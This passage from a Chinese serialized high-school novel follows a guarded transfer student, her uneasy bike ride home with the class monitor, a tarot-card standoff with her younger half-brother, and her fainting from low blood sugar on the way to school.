“啊……”纪之水更加惊讶了,“连出租车也没有吗。那该怎么办呢。”
“你家住在哪?”顾天倾顺口问。
纪之水报了小区名。
顾天倾问得自然,纪之水居然也答得流畅。
答案不打磕绊地送到眼前的时候,顾天倾少见地感到了一丝震惊。这样的震惊比那天回到教室打开放在他桌面上的一封来自纪之水的警告信更加强烈。
他开始怀疑起这个地址的真实性。
是杜撰的小区吗?
还是某个坟场的代指?
纪之水图穷匕见:“还好有班长在,不然真的不知道怎么办了。送我回家吧,班长。”
她咬紧“班长”这两个字,若有似无地微笑起来。
顾天倾一度以为这是个陷进,也许行至某条小巷,纪之水就会勾连校外人员将他打晕卖掉。
毕竟纪之水一直对他表现得很抗拒,主动说出家庭地址这件事放在她身上几乎显得匪夷所思。
但最终,纪之水还是坐上了他的自行车后座。
金城的夜风像刮在脸上的刀子,半个小时的一问一答后,这阵风终于把他的大脑刮清醒了些。
正如纪之水讨厌他一样,顾天倾也不喜欢纪之水。
14. 第 14 章
讨厌纪之水是一件很正常的事吧?
不过,顾天倾对纪之水也说不上讨厌,顶多只是不喜欢而已。身边的大部分人,顾天倾都不喜欢。
转学第一天,在早读后的课间被李茂领进来的那个转校生就显得那么奇怪。
她站在讲台上,自我介绍简短而苍白:“我是纪之水。”
纪之水的脸上没有笑容,不显局促,打量整间教室时的姿态也缺乏一种舒展的大方,似乎还带着防备。
顾天倾当时想,比起一个活生生的、面对陌生环境和陌生面孔会紧张的普通女孩,她看上去更像是一具木偶。
可以去恐怖片拍摄现场客串的那种。
纪之水平淡地念完台词,目光毫不停顿地扫过在场所有人——包括他。
底下很安静。
不是因为李茂在场的收敛,也不是早读刚过的昏昏欲睡,顾天倾知道。
有不少人在转校生进门时就已经瞪大了眼睛。他们似乎对这段没什么意义的发言很感兴趣,每个人都是一副认真倾听的姿态。
有时,安静比吵闹更容易让困倦的高中生睁开眼。纪之水的自我介绍结束时,大概教室里的每个人都清醒了个彻底。
肤浅。
他们流露出的惊艳,不过是因为纪之水有一张漂亮的脸。
这种肤浅的表现,顾天倾直面过无数次了。
冬天,不太有余地花枝招展的季节,纪之水穿得也简洁,似乎无意以着装一鸣惊人。她的新校服应当还没到,通身上下是黑色系常服,没有多余的装饰,反而更突出了五官精致的冲击力。她的目光从他脸上扫过去,一秒也没多停。
赵藏锋的嘀咕声几乎和他的声音同步响起。
“哇,很漂亮啊。”
顾天倾则是冷漠地抱怨:“好烦人啊。”
赵藏锋没听清,转过头看他:“啊你说什么?”
顾天倾却不答了。
纪之水也转过头看李茂。
她的自我介绍持续了十秒钟就没了下文,李茂还以为中间的停顿代表着酝酿,纪之水无声的催促却好像在说老师你想多了。
李茂清了清喉咙,眼神抓住了台下的顾天倾,将烫手山芋塞了过去:“那个班长——诶,顾天倾啊。这位是新同学,你也看到了,作为班长,这两天要好好帮助新同学融入集体。”
顾天倾站起来说好,笑容一点也不出错。李茂最近迟到早退,自习课看班时心不在焉,顾天倾只能说转校生没赶上好时候。
不然李茂应该挺乐意亲力亲为地照顾新人——这个在高三莫名其妙地转了学的怪胎。
李茂把转校生的位置排在他正前方第二个座位。这对转校生来说当然很方便,只要站起来朝后面喊一声就能抓住班长合情合理地拜托他当牛做马……毕竟是班长的职责所在。
他心里觉得更烦了,脸上却还在笑。
转校生刚入座,上课铃就响了起来。李茂的身影消失在窗边,和任课老师擦肩。顾天倾收回视线,转校生已经坐在了一张被匆忙收拾干净的空桌前。
穆若婷偏头和转校生交谈,短发在颊边一晃。顾天倾看到她在笑,俩人不知道在聊什么。
一下课,顾天倾站在了纪之水面前。
“你好,纪之水同学……”
他做了一段比她情绪丰沛许多的自我介绍,得到的反应很微妙。
这只是必要的流程而已。每逢月考A班总会有新人进来,任课老师通常和他们原班级有出入,人员变化比较大的情况下他会召集所有人开个临时短会,交代完所有任课老师的办公室位置和有必要提及的规章。
顾天倾对一套已经足够娴熟。
但显然出师不利。
纪之水几乎是迫不及待地在他喘口气的空隙中打断了他:“好的,班长。”
刻意营造的沉默是再明显不过的逐客令。
顾天倾在这一瞬间几乎笑了,他是什么洪水猛兽么?
几天之后,顾天倾收到了一封警告信。
说是信也不是,体育课结束,顾天倾一眼看到了一张折叠在他桌面的A4白纸,打开一看只有两行字。他的一番好心好意换来的是毫不留情的痛斥:你知不知道自己笑起来很假很恶心?别再对我笑了,也别多管闲事。
当时的心情,顾天倾记忆犹新。
他花了零秒猜出这封信是谁送来的。
还能有谁?
顾天倾下意识往前看。
隔了一个人,前面纪之水的座位是空着的。
明明没过几天,她的领域内已经出现了乱糟糟的趋势:崭新的课本和练习册随意堆叠,课桌内隐约可见花里胡哨的包装,不知道是什么,顾天倾没多看。
——倒也不是说位置空着就算纪之水欲盖弥彰了。
纪之水转学后,除了被新同学们堵住问东问西的第一个课间,多数时候都不见踪影。她只会踩着上课铃声比任课老师先一步抵达教室。
其实也不用猜。
整个金城高中数最讨厌他的十个人,纪之水必定榜上有名。
她光想着打印机可以掩盖字迹,却不考虑金城高中能碰打印机的只有那么几个走读生么?
此时此刻,在冬夜的寒风了踩着自行车的顾天倾情不自禁地开始反省,是什么让一切走到了今天的地步……
如果在警告信之后,他能稍微收敛一点儿,那么他至少不会这个点在迎着寒风踩自行车,还要面对纪之水一长串的拷问。
说到底还是他犯贱。
纪之水讨厌他,他却非要凑上去看看真假,顺便身体力行地刺探一番,这股毫无缘由的讨厌能有多深。
有多深也不知道。
然而好奇心害死猫,现在到了他付出代价的时刻。
纪之水说完,仿佛料定他不会拒载,理直气壮地等着他想出个妥帖的办法送她回家。顾天倾确实想不出拒绝她的理由。
他只是不喜欢她,又不是反社会人格的神经病,怎么可能把她一个人丢在公交车站不管。
顾天倾没辙了。他让她在公交车站坐着等一会儿,他去推车,纪之水却
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沉默地跟上,在他背后踩着他的影子。
一前一后,这回掉了个个儿。顾天倾倒不反对纪之水走到前面来,但她没有那个意思。
“为什么跟上来?”
“怕你不守信用。”
顾天倾说才怪。她是古怪的窥探欲又发作了,想知道他住在哪儿吧?
他往学校对面的那个居民小区里走。到了单元门前,纪之水脚步停住了,站在路灯下等他。
顾天倾半被道义强迫着要送她回家,装也不装了,闷头往车库里走。
里头停着一辆自行车和一辆摩托——顾天倾没骑过几回。年纪还没到,考不了驾驶证,上了大路被交警一抓一个准。送纪之水回家只能靠前者出力。
纪之水没对眼前稍显简陋的交通工具发表什么看法。
反正出力的不是她。
坐在那辆自行车上,纪之水扯着顾天倾的衣服下摆,有一搭没一搭地问:“你认不认识林嘉慧?”
这是个有点陌生的女孩名。顾天倾在记忆里转了一圈,没想出来。
“不认识。”
“噢。”纪之水反应平平,“那褚东呢?他是一个怎么样的人?”
“六班的地理课代表,前几天体育课打篮球把腿摔断了……”顾天倾不知道她从哪儿打听来这么些人,“你问这个干什么?”
纪之水扯他衣服下摆:“褚东是一个怎么样的人?”
“好了别扯我衣服……”
纪之水手劲还不小。
他没法一面蹬自行车一面和纪之水进行外套拔河,只得道:“我和他不熟啊,只一起打过球。地理成绩应该还不错吧,他好像拿过单科第一,但偏科比较严重……”
也不知道从哪个字眼开始,纪之水对褚东的兴趣断崖式下降。
顾天倾没有回头,只当纪之水还在听,说了几句便有些词穷。他绞尽脑汁回忆了半天,又被纪之水扯了下摆。
“够了。”纪之水有点儿嫌他啰嗦,“说说寇准。”
“寇准?”顾天倾重复了一遍那个名字。
纪之水在这样的重复里感受到了让她在意的迟疑。她善于捕捉一闪而过的情绪,听出顾天倾的语气无端有些发冷:“他不是什么好人。”
“你和他关系不好?”她直白地问。
“没有。只是客观陈述。”
顾天倾叫她离寇准远一点,纪之水反而更感兴趣了。
寇准。
这似乎是她第一次接触这个名字……又好像不是,纪之水回忆半晌,并没有抓住一闪而过的灵光。
她撑着下巴,漫不经心地滑动鼠标,黑漆漆的指甲戳着脸。
小黄花首页的线索暂时中断。纪之水又在“可能想认识的人”里翻阅。
依旧没什么收获。
她有心想看看今天记下来的还有哪些人,伸手去够挂在门边的包,摸了个空。
纪之水倏忽转过头,落地挂衣架上空空荡荡。她猛地拉开卧室门,客厅灯亮着,黎明达听到动静转过脸,手中赫然夹着她的本子。
15. 第 15 章
这很不妙。
不妙之处并非因为黎明达手里价值堪堪两位数的帆布包里藏着什么见不得人的东西,而在于,沙发上坐着的那个初中生,烦人程度愈发逼近纪之水忍耐的界限。
“东西给我。”纪之水站在黎明达面前,摊开手。
黎明达并不理会,只把包紧紧抱在怀里,掀起眼皮警惕地望向她:“不给!”
生怕她上手抢似的。
不过是几张卷子和作业本,给他也就给他了。
纪之水在心里冷笑:黎明达抱着高中作业能有什么用?
凭借他洗碗海绵一般贫瘠的智力,和数学题面面相觑半分钟就该打哈欠。
那张从重默本上撕下来的纸被她随手夹进练习册里,有几个人名记不太清。能拿回来最好,要是为此还得和他打一架,多少有点儿不值当,还不如再去一趟办公室呢。
纪之水预感到自己即将成为英语办公室的常客。再去抄一遍,不费什么功夫。
想到这儿,纪之水退了半步,一副无所谓的样子:“你要留着也行,帮我把作业写了。”
没料到她会是这种反应,黎明达一愣,“帮你写?凭什么!”
纪之水想把包拿走,黎明达不肯。让他留着,他也不乐意。纪之水反问:“你说为什么。”
还不是他霸占着不放。
“你疯了?我才上初中,怎么看得懂你们高中的题?”
纪之水双手抱胸,往空荡荡的茶几上一坐,掀起眼皮道:“你不懂?不是说乡下来的姐姐连小学生题目都看得费劲,还不如你么?”
这是黎明达的原话。
为了刺痛她,这些贬低的话黎明达没少说。纪之水挑挑拣拣回敬他几句,黎明达气得脸青一阵红一阵。
“谁稀罕你的作业,自己写去。我要问你的是这个!”他忽然来劲了,从包里掏出一样东西。
那是一个黑色的盒子,其貌不扬。黎明达很是得意,为了让纪之水看清,特意高高举起一只手臂,将盒子悬在纪之水面前,明知故问道,“这是什么?”
纪之水瞥了一眼。
那是她随身带着的塔罗牌。
“显而易见。”纪之水确信金城网络发达,信息流通,学生从小学就开始接触网络信息课,“塔罗牌。城里人不认得这个?”
盒子上面还有烫金的英语花字。除非黎明达英语差到看不懂盒子上的英文。
“你!”
她说话带刺,偏偏表情波澜不惊,说出的话比起讥讽更像是陈述事实,讽刺感反而更重。黎明达听了差点又炸开。
也不知道怎么回事,他这样的蠢货也有智商占领高地的时刻。黎明达忍了又忍,将矛头对准了纪之水。
“你天天就带这个去学校?”黎明达晃着那副塔罗牌,阴阳怪气地说,“心思一点儿都不花在学习上。”
“你妈妈拉下脸求我爹,好不容易把你从山沟沟的乡下送到金城最好的学校,你却不学习,一天到晚就顾着摆弄你的小玩意儿?”
“喂,哑巴了?怎么不说话?”
黎明达把纪之水脸上流露出的一点惊奇当成了害怕。她情绪太淡了,唐恬往他脸上甩巴掌那天纪之水应当幸灾乐祸到了极点,黎明达捂着半边脸忍气时,抬头也不过看到纪之水微微掀起一点儿嘴角。
他以为自己抓住了她的把柄,眼睛里闪烁着看好戏的光芒。
“你要告状?”纪之水问。
和谁?
借住在黎兴学——她生物意义上的父亲家里的这段时间,纪之水基本摸清了两位成年人的日常行动轨迹。
黎兴学工作忙碌,或许是因为多年不见的父女情谊作祟,先前他忙里抽空,亲力亲为地陪她解决完入学事宜。此后,纪之水和他见面的次数屈指可数。
黎兴学不怎么着家。黎明达想要抓住他告上一状,怕是得凭点运气。
至于唐恬……到这个点儿家里还没看到她的人,纪之水估摸着她人还在牌桌上。
纪之水站起来伸手一够,动作快得黎明达根本来不及看清。他只觉得眼前一花,再一回神,塔罗牌已经落进纪之水手里。
黎明达瞠目结舌。
纪之水这么……灵活吗?
纪之水拆开盒子,塔罗牌背面,纯黑的底纹上浮动着烫银的花样,在灯光下微微发亮。
黎明学不自觉地盯住她的动作,像旁观一场魔术表演。
“告状也得见得到人。”纪之水洗完牌,伸手一拉,在茶几上呈半圆弧展开,“你猜是黎兴学先回来还是你妈妈先到家?”
她抬了下下巴,示意黎明达抽牌。
比起写高中作业,塔罗牌显然要有意思的多。
黎明达嘴上说不喜欢这些娘们唧唧的东西,眼看着小扇般展开的塔罗牌,还是忍不住伸出手向牌堆摸去。
“什么‘黎兴学’……有你这么直呼爸大名的吗?真是没礼貌。不过不用想,肯定爸先回来。”他抽出一张牌,刚掀起一个角,又压回桌面,怀疑地说,“你这东西能准吗。”
至于为什么是爸先回来——黎明达很清楚告状的事情找他妈是没用的。
黎明达深切地盼望着老父亲能够早点回家,亲眼看到他这位自小在山沟沟里长大的、纯洁如小白花一般的养女的真实面目!
黎兴学结了五次婚,加上他,子女有三个。但凡离了婚,钱和孩子都会一起跟着妈走。黎兴学对这一点表现得尤为坦荡,他声称既然结婚是因为相爱,那么不爱的时候婚姻必然走向终结。
所以即便他自诩“不世的经商天才”,将钱、公司和孩子留给前妻们之后顺
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利五度东山再起,生意也仅仅是在金城这片儿地界打转。
唐恬素来不管黎兴学前头几个孩子的事,俩人真要掐起来,黎明达估摸着唐恬只会叫他忍忍。
眼看着黎兴学和唐恬最近都不着家,一个声称生意场上的事情忙不过来,一个喊着牌桌上缺了她无法运转,黎明达想起他爸的五本结婚证和四本离婚证,脑袋开始转了。
黎明达思忖着这段婚姻是不是也该走向终结。还没等他试探母亲,唐恬就用几个白眼将他扫地出门,“要你在那想东想西的?反正不会短了你的钱用。”
他是因为钱才瞎想的么?!
黎明达将塔罗牌抽出来,想起父母间岌岌可危的婚姻,脸上透出几分索然。
“你猜吧,我抽的是什么?”他随口问。
“……土鳖。”居然能从纪之水嘴里听到除了“蠢货”之外的新词,黎明达新奇地抬起了头。纪之水以命令的口吻吩咐他,“把牌翻过来。”
牌面反转。
一具人身俯卧地面,伸手向前探去,数把银色宝剑血淋淋地扎透了他的身躯。倾覆的暴雨之下,隐约可见他苍白的侧脸。
黎明达贴着牌的手像是被烫了一下,迅速收回。他觉得自己的脸有些发僵。纪之水的食指按着牌面,指甲修剪圆润,像一粒黑色的杏仁,戳在银色宝剑上。
她专注地望着塔罗牌,没有看他,嘴边隐隐约约咧开一点笑意。这笑容看得黎明达浑身发冷。
“这是什么意思?”他木然地张开嘴,随之而来的是怀疑。
假的吧?
虽然黎明达对塔罗牌这种东西全然没有了解,然而光看画面,也能闻弦歌而知雅意。牌面上被数把宝剑扎出无数个窟窿眼儿的画他还能看不明白?
黎明达以为这其中定然有纪之水捣鬼,中气十足地质问:“你这一副牌里不会都是这种鬼里鬼气、乱七八糟的烂牌吧?这是正经塔罗牌吗?”
他不信邪,没给纪之水时间反应,又唰唰抽了两张,扔在桌面。
纪之水再度俯身看牌。
她伸出一只手,饶有兴致地点着牌面,念给黎明达听:“死神,高塔。”
“……什么?”
“简而言之,”纪之水举起那张黎明达避之不及的宝剑十怼到他面前,只差毫厘就要贴上他的鼻尖。但纪之水爱干净,毫厘之差的界限始终没有打破。纪之水手指稳稳当当地夹着牌,好心解惑,“你要倒霉了,弟弟。”
如同魔鬼的低语。
纪之水重新回到了卧室。这回带上了她的包。没来得及被发现的名单自然重新回到了她手里。
电脑屏幕因为长时间没有动作熄灭,房内唯一的光源是书桌上的那盏小灯。纪之水缩在懒人椅里,毛毯盖到腰间,借着暖黄的灯光出神地看着纸上的名字。
16. 第 16 章
洗衣机在阳台嗡鸣。
今晚,唐恬果然没有回家。黎兴学也一样。
黎兴学家购入的洗衣机是金城本地品牌,纪之水跟着说明书逐项调整按键,但愿它的羊绒洗模式值得信赖。
洗衣机运转完毕,发出滴滴的提示音。她取出了那条被烘得馨香干燥的羊绒围巾,垂眸检查围巾是否变形。
踢踢踏踏趿拉着拖鞋的脚步声穿过客厅,中间停顿了片刻,最终离她越来越近。
除了黎明达也不会有别人了。纪之水既不想理会,又明白同在一个屋檐下毫无办法,黎明达是那种对外来者十分抗拒的家猫,即便所有人都知道她只是借住,威胁不到这位唯一“太子”的地位,他还是缺乏安全感的、持续不断地朝她哈气。
她干脆想搬出去住算了,但现在,黎兴学是她名义上的监护人。取得他的同意又需要费一番口舌,而她现下是个高中生,在房东眼里约等于需要照料的未成年,租房需要家长出面。
“喂。”黎明达叫她。
他刚洗完澡,吹干头发,那头每日都要精心打理的头发毫无造型可言,臊眉搭眼地往她跟前一站,倒显得不是太让人讨厌。
纪之水捧着围巾,被黎明达挡住了去路。
“做什么?”
她不可避免地瞅了眼他的表情:一副受打击的可怜相。纪之水不耐烦了,她以为黎明达还在为塔罗牌的事纠结,总不至于还要她来哄。
那是不可能的。
都上初中了,玩个塔罗牌至于被吓成孙子么?
黎明达支支吾吾:“你大晚上不睡觉蹲在这儿洗围巾……”
纪之水打断他的废话,“说重点。”
“哦……重点。”黎明达说,“重点是爸妈今天晚上都没回来。”
“你跟我说这个?”
纪之水心想:这还不如问围巾呢。
她一边将洗净烘干的羊绒围巾叠好,一边快步从黎明达身边绕了过去。
黎明达站在阳台边,看着她的背影。纪之水穿着一身宽大的黑色珊瑚绒睡袍,漆黑的长直发几乎和睡袍融为一体,从背后看,完全就是一片飘着的黑色影子。
她浑身上下唯一的颜色,是黑色睡袍上连着的帽子,顶端带着两只红色的恶魔犄角,被棉花充得饱满圆胖,一点儿也不像恶魔。
她要真是一片能随时从这个家里飘走的影子就好了。
黎明达跟着纪之水走了几步,心下很是不满,突然喊:“你根本就不该来金城!”
纪之水停下脚步,回头望了他一眼。
这一眼没有什么情绪,黎明达碰上她的目光,心里却是惊了一下。他确实对纪之水心怀怨愤。
可有太多瞬间,他总是有怒发不出。
“你爸爸妈妈不回家是因为我么?”纪之水的声音那样冷酷,毫不留情地戳破了他没有说出口的想法。她仿佛连同和他说句话的功夫都欠奉,一张苍白瘦削的脸上布满事不关己的漠然,“想他们就自己打电话,你的小天才电话手表没电了?”
她不欲多说,没等黎明达答话,就拐进走廊。
关上卧室门,纪之水把围巾放进包里,理好第二天上学要带的东西。
晚间十点,纪之水准时入眠。
.
晚自习结束铃声响起之前,罗吉的心思已然不在试卷上。
仰赖于高中一成不变的作息安排,有时候不用看钟表,身体甚至会自动感知到时间的轨迹,记住每个重要的节点。
快放学了。罗吉搁下笔,转动眼珠,盯住手腕腕表的表盘,倒数:
三。
二。
一。
叮铃铃——
刘瑞平一手揣着保温杯,拍上他的肩膀,“走吗?”
“走。”罗吉点头。
借着后门的地理优势,俩人几乎是头两个冲出教室的。吴羽拎起包,撇了撇嘴:“不知道在急什么……”
陈芊道:“他俩不就这样么。”
两人将要走,吴羽的目光落在陈芊空荡荡的脖颈:“外面风大……你围巾呢?落宿舍了?”
陈芊含糊道:“没有。”
圣母心爆发,出借了。
人群像是涌动的潮水,陈芊和吴羽手挽着手,被潮水裹挟着送进女生宿舍楼,在楼梯口道了别。因为学号隔得远,她们没被分到一个宿舍,加上一些运气原因,分给七班的几个宿舍甚至分布在上下两层。
不得不分开了。
陈芊看着吴羽上了楼,才转头往宿舍走。她在回宿舍的路上走得不疾不徐,回来得也就迟了,推门时正好撞见舍友在聊天。
“……校门口的那个丑雕塑被洗得都能发光了,有这个功夫干什么不好,金城高中能不能多修两个女厕所啊!”
“嗨呀。没听说么?过两天金城电视台要来拍宣传片,学校不得好好装点装点门面,把雕塑都拉出来洗了。”
“学校有再多钱,宁愿重新建个气派的大门也不愿意修修那个裂开的操场跑道,别指望了……”
“芊芊,你回来啦?”舍友一抬头,瞧见陈芊,自然而然地将她拉进话题里,“你说嘛,学校这么干是不是没事找事?”
“就是,好端端的,洗那个雕塑做什么。”陈芊随口应了声,打开储物柜,取出洗漱工具,顺口问,“电视台怎么又来?”
“呵呵,这两年,金城电视台来我们学校可比去景区还要勤快!”
等洗漱完,围在一起说话的几个女生又换了新话题,陈芊没有细听。
十点半准时熄灯。
或许是白天消耗了太多精力,吴羽只觉得困倦来得比往日要迅疾。她打了个哈欠,没睡,从枕头下摸出手机。
入目是十几条未读消息。
点开四人群聊,第一条是刘瑞平发来的语音。
“特大消息!我和罗吉翻到了教导处的请假条存根!”
.
凌晨五点的闹钟响起时,窗外还是漆黑一片。透过一半敞开的窗帘,窗外的天空甚至隐约可以看见零星的星星,月亮瓷白而冷清。
纪之水开了床头小灯,去卫生间洗漱。
房间大约是助理之流准备的。
黎兴学没那个闲心,唐恬也不会多掺和她的事。而能够妥帖地考虑到需要给她这个初来乍到的、像女儿又像外人的借住者准备一个卫生间的人,大约也只会是一个同样的外人。
纪之水乘着夜色抵达公交站台,静静等待着第一班公交车的到来。
忙碌的工作挤占掉黎兴学太多时间,而他本人是否乐在其中也很难说,但可以肯定的是,黎兴学以为他应当为孩子缺失的陪伴寻找到另一种可替代的补偿。不提黎明达相较于同龄人格外宽裕的经济状况,他上学是有司机接送的。
纪之水的手机里也存着司机的电话号码,却从来没有一次派上用场。
黎明达上下学的时间和纪之水并不冲突。黎兴学提出可以让司机顺道接送她——金城国际在市中心,而金城高中地处偏僻郊区,两条路线称得上是背道而驰,纪之水拒绝了,却不是因为不顺路。
诚然,有了司
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机接送会方便很多,至少她不用寒冬腊月地坐在公交车站台等车,也不用一放学就匆匆忙忙地赶最后几班车回家。
但比起屡屡找借口拖延接送,纪之水宁愿早起晚归,这样对她而言更自由。
公交车几乎是准点抵达。
从小区门口的站台到学校的那段路,车开得摇摇晃晃,酝酿了一点瞌睡。时间太早,几个站点停靠过后,车上多了几个穿着熟悉校服的学生。
纪之水坐在最后一排,抬头就能看见属于金城高中校服的深蓝。她开始数数,一个、两个、三个。
人数刚好,一个不少。
上到高中,全勤是常态。金城高中请假难,走读更难,纪之水的走读证办下来足足经过三个老师的签章,还提交了一堆材料。
车上的几个走读生神情看着萎靡,座位分布得很开,一路没有交流。有些人即使日日坐同一班车上学,也可能到毕业都没搭上过话。
公交车开到学校不远处的站点,学生们一下车,车厢差不多就空了。
纪之水想起这辆公交车在学生口中常被调侃为“金城高中校车”,倒也不算夸张。
每月放假时,车上满满当当挤着大包小包回家的高中生。不年不节的日子,倒显得空旷,赶首班车的除了他们几个,就只有脚边靠着农具水桶的大爷大妈。
晃晃悠悠的车程里,纪之水差点靠着车窗玻璃睡着。
明明晚上十点就睡了,纪之水在心里抱怨,金城有着和她以往待过的城市截然不同的空气,其中蕴含着让人昏昏欲睡的魔力。
抵达目的地,她轻轻拍了拍脸,驱散了来势汹汹的困倦。最后一个跳下车时,感觉眼前发晕。
路过靠近车门的乘客,两人闲谈的絮语自然而然地闯入耳中:
“都是学生啊……金城高中?”
“了不得,这个学校的都是优等生呢。”
“学习成绩好有什么用,现在的年轻人,心理越来越脆弱,看着也没什么精气神……”
…………
车门关闭,公交车沿着既定的行驶路线远去,那些闲聊声也跟着消散。
纪之水落后几步,和人群隔了一段距离,遥遥地望着那些同车过几天的熟面孔。
从站点到学校门口需要过条马路,再拐个弯,沿途可以看见对面居民小区漆黑的入口处时不时吐出几个神情困顿的学生。
小区出口处的路灯坏了,灯泡黯淡,光线半明半昧。两道挡车杆压下,仅供行人通行的一条通道狭窄逼仄。
金城高中有教职工宿舍,但据传言,不少老师会在学校前的小区租房住,比和同事挤宿舍来的方便自在。
校门口的早餐店已经开门。
纪之水从早餐店前路过,脚步微顿,迎面吹来一阵凛冽寒风,夹杂着早餐店新鲜出炉的食物香气。
冷和热,极度鲜明的对比,纪之水感觉自己的胃部在抽搐。这不是什么好的预兆,她加快脚步,走进早餐店,暖色的灯光倾泻下来。
狭小的店面里摆着几张小桌,都空置着。上学时间将近,少有人选择店内就餐。
迎面有学生拎着早餐朝门口走,和纪之水错身时撞向她的肩膀。
纪之水心道不好,霎时间像是被触碰到了什么开关,眼前一阵天旋地转,耳鸣里混着尖叫。
“同学?同学!”
“同学你没事吧?!!!”
有事。
晕头转向投入大地怀抱的刹那,纪之水想,原来是低血糖啊,她还以为自己这一路上是没睡醒呢。